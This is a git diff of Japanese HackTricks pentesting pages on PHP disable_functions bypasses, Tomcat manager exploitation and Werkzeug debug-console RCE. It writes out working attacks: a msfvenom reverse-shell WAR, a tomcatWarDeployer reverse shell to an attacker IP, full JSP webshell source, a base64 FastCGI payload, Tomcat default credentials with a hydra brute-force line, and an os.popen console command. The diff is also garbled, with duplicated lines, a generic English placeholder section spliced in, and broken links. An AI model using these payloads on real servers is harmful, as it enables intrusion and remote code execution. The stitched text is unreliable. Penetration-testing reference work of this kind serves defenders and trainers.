**Chankro**は、**実行したいライブラリとリバースシェル**を被害者のディスクに書き込み、\*\*`LD_PRELOAD`トリック + PHP `mail()`\*\*関数を使用してリバースシェルを実行します。
**Chankro**を使用するには、`disable_functions`リスト内に`mail`と`putenv`が**含まれていてはいけません**。\
次の例では、**arch 64**向けに**Chankroエクスプロイトを作成**し、`whoami`を実行して出力を_tmp/chankro_shell.out_に保存し、Chankroは**ライブラリとペイロード**を_tmp_に書き込み、**最終的なエクスプロイト**は**bicho.php**と呼ばれます(これを被害者のサーバーにアップロードする必要があるファイルです):
次の例では、**arch 64**向けに**Chankroエクスプロイトを作成**し、`whoami`を実行して出力を\_tmp/chankro\_shell.out\_に保存し、Chankroは**ライブラリとペイロード**を\_tmp\_に書き込み、**最終的なエクスプロイト**は**bicho.php**と呼ばれます(これを被害者のサーバーにアップロードする必要があるファイルです):
{% tabs %}
{% tab title="shell.sh" %}
@ -550,29 +578,27 @@ return 1;
#!/bin/sh
whoami > /tmp/chankro_shell.out
```
## PHP Useful Functions - disable_functions & open_basedir Bypass
### disable_functions Bypass
### PHP Useful Functions - disable\_functions & open\_basedir Bypass
#### disable\_functions Bypass
To bypass the `disable_functions` restriction in PHP, you can use the following techniques:
1. **system() Function**: If the `system()` function is not disabled, you can execute shell commands using it.
2. **exec() Function**: Similar to `system()`, if `exec()` is enabled, you can run shell commands.
3. **shell\_exec() Function**: This function also allows executing shell commands.
3. **shell_exec() Function**: This function also allows executing shell commands.
### open_basedir Bypass
#### open\_basedir Bypass
To bypass the `open_basedir` restriction in PHP, you can try the following methods:
1. **cURL**: You can use cURL to access files outside the restricted directory.
2. **file_get_contents() Function**: By using this function, you may be able to read files outside the restricted path.
2. **file\_get\_contents() Function**: By using this function, you may be able to read files outside the restricted path.
3. **fopen() Function**: If `fopen()` is not restricted, you can open files outside the specified directory.
Remember, these bypass techniques should only be used for educational purposes and ethical hacking.
```bash
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
```
@ -595,7 +621,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
特定のモジュールが使用されている場合や特定の PHP バージョンを悪用する場合、disable\_functions をバイパスする方法がいくつかあります:
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
* [**FFI - Foreign Function Interface が有効化されている場合のバイパス**](broken-reference/)
* [**FFI - Foreign Function Interface が有効化されている場合のバイパス**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/broken-reference/README.md)
* [**mem 経由のバイパス**](disable\_functions-bypass-via-mem.md)
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
* [**PHP Perl 拡張機能 Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
@ -630,9 +656,10 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
これらの関数は、攻撃者が選択した関数を呼び出すために使用できる文字列パラメータを受け入れます。関数によっては、攻撃者がパラメータを渡す能力があるかどうかが異なります。その場合、phpinfo() のような情報開示関数を使用できます。
[Callbacks / Callables ](https://www.php.net/manual/en/language.types.callable.php)
[Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
[ここからリストをフォロー](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
```php
// Function => Position of callback arguments
'ob_start' => 0,
@ -668,9 +695,11 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
```
### 情報漏洩
これらの関数呼び出しのほとんどはシンクではありません。むしろ、返されたデータのいずれかが攻撃者に見える場合には脆弱性となる可能性があります。攻撃者がphpinfo()を見ることができる場合、それは間違いなく脆弱性です。
```php
phpinfo
posix_mkfifo
@ -690,7 +719,9 @@ getmyinode
getmypid
getmyuid
```
### その他
```php
extract // Opens the door for register_globals attacks (see study in scarlet).
parse_str // works like extract if only one argument is given.
@ -710,11 +741,13 @@ posix_setpgid
posix_setsid
posix_setuid
```
### ファイルシステム関数
RATSによると、PHPのすべてのファイルシステム関数は悪質です。これらのうちいくつかは、攻撃者にとってあまり役に立たないように見えるかもしれません。他のものは思っているよりも有用です。たとえば、allow\_url\_fopen=Onの場合、URLをファイルパスとして使用できるため、copy($\_GET\['s'], $\_GET\['d']);を呼び出すことで、PHPスクリプトをシステムのどこにでもアップロードできます。また、サイトがGET経由で送信されたリクエストに対して脆弱である場合、これらのファイルシステム関数のすべてが悪用され、攻撃を別のホストにチャネル化するためにサーバーを介して使用される可能性があります。
**ファイルシステムハンドラのオープン**
```php
fopen
tmpfile
@ -722,7 +755,9 @@ bzopen
gzopen
SplFileObject->__construct
```
**ファイルシステムに書き込む(一部は読み取りと組み合わせて)**
```php
chgrp
chmod
@ -753,7 +788,9 @@ ftp_get
ftp_nb_get
scandir
```
**ファイルシステムから読み取る**
```php
file_exists
-- file_get_contents
@ -809,6 +846,7 @@ sha1_file
php_strip_whitespace
get_meta_tags
```
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
@ -818,7 +856,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する。
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する。**
</details>

View file

@ -1,4 +1,4 @@
# disable_functions バイパス - php-fpm/FastCGI
# disable\_functions bypass - php-fpm/FastCGI
<details>
@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f) に参加**または [telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) **に参加**または [telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details>
@ -24,9 +24,9 @@ HackTricks をサポートする他の方法:
### CGI
通常、ウェブページ、ファイル、およびブラウザに転送されるすべてのドキュメントは、home/user/public_html などの特定のパブリックディレクトリに保存されます。 **ブラウザが特定のコンテンツをリクエストすると、サーバーはこのディレクトリをチェックし、必要なファイルをブラウザに送信します**
通常、ウェブページ、ファイル、およびブラウザに転送されるすべてのドキュメントは、home/user/public\_html などの特定のパブリックディレクトリに保存されます。 **ブラウザが特定のコンテンツをリクエストすると、サーバーはこのディレクトリをチェックし、必要なファイルをブラウザに送信します**
サーバーに **CGI** がインストールされている場合、特定の cgi-bin ディレクトリも追加されます。たとえば、home/user/public_html/cgi-bin です。CGIスクリプトはこのディレクトリに保存されます。 **ディレクトリ内の各ファイルは実行可能プログラムとして扱われます**。ディレクトリからスクリプトにアクセスすると、サーバーはファイルの内容をブラウザに送信する代わりに、このスクリプトに対応するアプリケーションにリクエストを送信します。 **入力データの処理が完了すると、アプリケーションは出力データを** ウェブサーバーに送信し、ウェブサーバーはデータをHTTPクライアントに転送します。
サーバーに **CGI** がインストールされている場合、特定の cgi-bin ディレクトリも追加されます。たとえば、home/user/public\_html/cgi-bin です。CGIスクリプトはこのディレクトリに保存されます。 **ディレクトリ内の各ファイルは実行可能プログラムとして扱われます**。ディレクトリからスクリプトにアクセスすると、サーバーはファイルの内容をブラウザに送信する代わりに、このスクリプトに対応するアプリケーションにリクエストを送信します。 **入力データの処理が完了すると、アプリケーションは出力データを** ウェブサーバーに送信し、ウェブサーバーはデータをHTTPクライアントに転送します。
たとえば、CGIスクリプト [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/\*\*cgi-bin/file.pl\*\*) にアクセスすると、サーバーは適切なPerlアプリケーションをCGIを介して実行します。スクリプトの実行から生成されたデータは、アプリケーションによってウェブサーバーに送信されます。一方、サーバーはデータをブラウザに転送します。サーバーにCGIがない場合、ブラウザは **.pl** ファイルのコード自体を表示していたでしょう。([ここ](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)からの説明)
@ -36,14 +36,14 @@ HackTricks をサポートする他の方法:
FastCGI を開発する必要があったのは、アプリケーションの急速な開発と複雑さによってWebが生じ、さらにCGI技術の拡張性の欠点に対処するためでした。これらの要件を満たすために、[Open Market](http://en.wikipedia.org/wiki/Open\_Market) は **高性能なCGI技術の拡張機能を備えたCGI技術の高性能バージョンであるFastCGI** を導入しました。
## disable_functions バイパス
## disable\_functions バイパス
`disable_functions` 制限を回避して、FastCGI を悪用してPHPコードを実行することが可能です。
### Gopherus を使用する
{% hint style="danger" %}
現代のバージョンで機能するかどうかはわかりません。一度試してみましたが、何も実行されませんでした。これに関する詳細情報がある場合は、[**こちらのPEASSHackTricks telegramグループ**]([**https://t.me/peass**](https://t.me/peass)) か、twitter [**@carlospolopm**]([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live)) までお問い合わせください。
現代のバージョンで機能するかどうかはわかりません。一度試してみましたが、何も実行されませんでした。これに関する詳細情報がある場合は、[**こちらのPEASSHackTricks telegramグループ**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/\[\*\*https:/t.me/peass\*\*]\(https:/t.me/peass\)/README.md) か、twitter [**@carlospolopm**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/\[\*\*https:/twitter.com/hacktricks\_live\*\*]\(https:/twitter.com/hacktricks\_live\)/README.md) までお問い合わせください。
{% endhint %}
[Gopherus](https://github.com/tarunkant/Gopherus) を使用して、FastCGI リスナーに送信するペイロードを生成し、任意のコマンドを実行できます:
@ -51,17 +51,20 @@ FastCGI を開発する必要があったのは、アプリケーションの急
![](<../../../../.gitbook/assets/image (351).png>)
次に、urlエンコードされたペイロードを取得し、デコードしてbase64に変換し、例えば [このcyberchefのレシピを使用して](http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)。そして、このbase64を次のPHPコードにコピーペーストします:
```php
<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
```
### PHP exploit
{% hint style="danger" %}
現代のバージョンでこれが機能しているかどうかはわかりません。一度試してみましたが、何も実行できませんでした。実際、FastCGIの実行から`disable_functions`が空であることがわかりましたが、PHPは以前に無効にした関数を実行するのを防いでいました。この件に関する追加情報がある場合は、\[**PEASSHackTricksテレグラムグループ**]\([**https://t.me/peass**](https://t.me/peass))またはTwitter\[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))までお問い合わせください。
現代のバージョンでこれが機能しているかどうかはわかりません。一度試してみましたが、何も実行できませんでした。実際、FastCGIの実行から`disable_functions`が空であることがわかりましたが、PHPは以前に無効にした関数を実行するのを防いでいました。この件に関する追加情報がある場合は、\[**PEASSHackTricksテレグラムグループ**]\([**https://t.me/peass**](https://t.me/peass))またはTwitter\[**@carlospolopm**]\([**https://twitter.com/hacktricks\_live**](https://twitter.com/hacktricks\_live))までお問い合わせください。
{% endhint %}
Code from [here](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
```php
<?php
/**
@ -412,6 +415,7 @@ $params = array(
echo $client->request($params, $code)."\n";
?>
```
前の関数を使用すると、**`system`** 関数は**まだ無効**ですが、**`phpinfo()`** は **`disable_functions`** が**空**であることを示しています:
![](<../../../../.gitbook/assets/image (352).png>)
@ -449,7 +453,7 @@ HackTricks をサポートする他の方法:
* **HackTricks が広告されたり、HackTricks を PDF でダウンロードしたり** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出する
</details>

View file

@ -0,0 +1,283 @@
# Tomcat
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitterで**私をフォロー**してください 🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)。\*\*
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details>
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Discovery
* 通常は**ポート8080**で実行されます
* **一般的なTomcatエラー:**
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Enumeration
### **バージョン識別**
Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行できます:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **マネージャーファイルの場所**
**`/manager`** および **`/host-manager`** ディレクトリの正確な場所を特定することは重要です。これらのページの名前が変更されている可能性があるため、ブルートフォース検索を推奨します。
### **ユーザー名の列挙**
Tomcatのバージョンが6より古い場合、次の方法でユーザー名を列挙することが可能です
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **デフォルトの資格情報**
**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があるため、特に重要です。このディレクトリは一般的な資格情報によって保護されており、一般的な資格情報は次のとおりです:
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
これらの資格情報は以下を使用してテストできます:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
別の注目すべきディレクトリは\*\*`/manager/status`\*\*で、TomcatとOSのバージョンを表示し、脆弱性の特定に役立ちます。
### **ブルートフォース攻撃**
マネージャディレクトリに対してブルートフォース攻撃を試みるには、次のようにします:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## 一緒にMetasploitでさまざまなパラメータを設定して特定のホストをターゲットにします。
### **一般的な脆弱性**
### **パスワードバックトレースの開示**
`/auth.jsp` にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。
### **ダブルURLエンコーディング**
`mod_jk` の CVE-2007-1860 脆弱性により、ダブルURLエンコーディングパストラバーサルが可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。
Tomcatの管理ウェブにアクセスするには、`pathTomcat/%252E%252E/manager/html` に移動します。
### /examples
Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロスサイトスクリプティングXSS攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限のないアクセスや潜在的な悪用をチェックするために、包括的にリストされています。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **パストラバーサルの悪用**
一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。
このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
## RCE
最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、**.warファイルコードの実行をアップロードおよび展開**できます。
### 制限事項
WARを展開できるのは、\*\*十分な権限(ロール: **admin**、**manager**、**manager-script**)を持っている場合に限ります。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](./#post)セクションを参照)。
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom逆シェル
1. デプロイするwarファイルを作成します
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
### `revshell.war`ファイルをアップロードして、それにアクセスします (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用してバインドシェルとリバースシェルを作成します
いくつかのシナリオではこれが機能しないことがありますたとえば、古いバージョンのsun
#### ダウンロード
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### リバースシェル
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### バインドシェル
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### [Culsterd](https://github.com/hatRiot/clusterd)の使用
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### 手動方法 - ウェブシェル
この[コンテンツ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を使用して**index.jsp**を作成します:
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### 手動方法2
JSPウェブシェル[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を取得し、WARファイルを作成します。
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Tomcatの資格情報ファイルの名前は _tomcat-users.xml_ です。
```bash
find / -name tomcat-users.xml 2>/dev/null
```
他のTomcatの資格情報を収集する方法:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## その他のTomcatスキャンツール
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## 参考文献
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* \*\*[hacktricks repo](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)\*\*にPRを提出して、ハッキングトリックを共有してください。
</details>

View file

@ -1,4 +1,4 @@
# Werkzeug / Flask デバッグ
# Werkzeug / Flask Debug
<details>
@ -23,9 +23,11 @@ HackTricks をサポートする他の方法:
## コンソールRCE
デバッグがアクティブな場合、`/console` にアクセスして RCE を取得しよう。
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
インターネット上には[これ](https://github.com/its-arun/Werkzeug-Debug-RCE)のような脆弱性がいくつか存在します。また、metasploitにも同様のものがあります。
@ -37,11 +39,13 @@ __import__('os').popen('whoami').read();
### Werkzeug Console PIN Exploit
アプリ内でデバッグエラーページを強制して、次のように表示されるようにします:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Werkzeugのデバッグインターフェースにアクセスしようとすると、「コンソールがロックされている」というシナリオに遭遇し、コンソールをアンロックするためにPINが必要であることが示されます。Werkzeugのデバッグ初期化ファイル`__init__.py`内のPIN生成アルゴリズムを解析して、コンソールPINを悪用することが提案されています。PIN生成メカニズムは[**Werkzeugソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)から調査できますが、潜在的なバージョンの不一致のため、実際のサーバーコードをファイルトラバーサルの脆弱性を利用して入手することが推奨されています。
コンソールPINを悪用するためには、`probably_public_bits`と`private_bits`の2つの変数セットが必要です
@ -56,7 +60,7 @@ Werkzeugのデバッグインターフェースにアクセスしようとする
#### **`private_bits`**
* **`uuid.getnode()`**現在のマシンのMACアドレスを取得し、`str(uuid.getnode())`で10進数形式に変換します。
* **サーバーのMACアドレスを特定**するには、アプリで使用されているアクティブなネットワークインターフェイスを特定する必要があります(例:`ens3`。不確実な場合は、デバイスIDを見つけるために**`/proc/net/arp`をリーク**し、その後**`/sys/class/net/<device id>/address`**からMACアドレスを抽出します。
* **サーバーのMACアドレスを特定**するには、アプリで使用されているアクティブなネットワークインターフェイスを特定する必要があります(例:`ens3`。不確実な場合は、デバイスIDを見つけるために\*\*`/proc/net/arp`をリーク**し、その後**`/sys/class/net/<device id>/address`\*\*からMACアドレスを抽出します。
* 16進数のMACアドレスを10進数に変換する方法は以下の通りです
```python
@ -64,48 +68,40 @@ Werkzeugのデバッグインターフェースにアクセスしようとする
>>> print(0x5600027a23ac)
94558041547692
```
* **`get_machine_id()`**`/etc/machine-id`または`/proc/sys/kernel/random/boot_id`からのデータと、`/proc/self/cgroup`の最後のスラッシュ(`/`)以降の最初の行からのデータを連結します。
<details>
<summary>`get_machine_id()`のコード</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
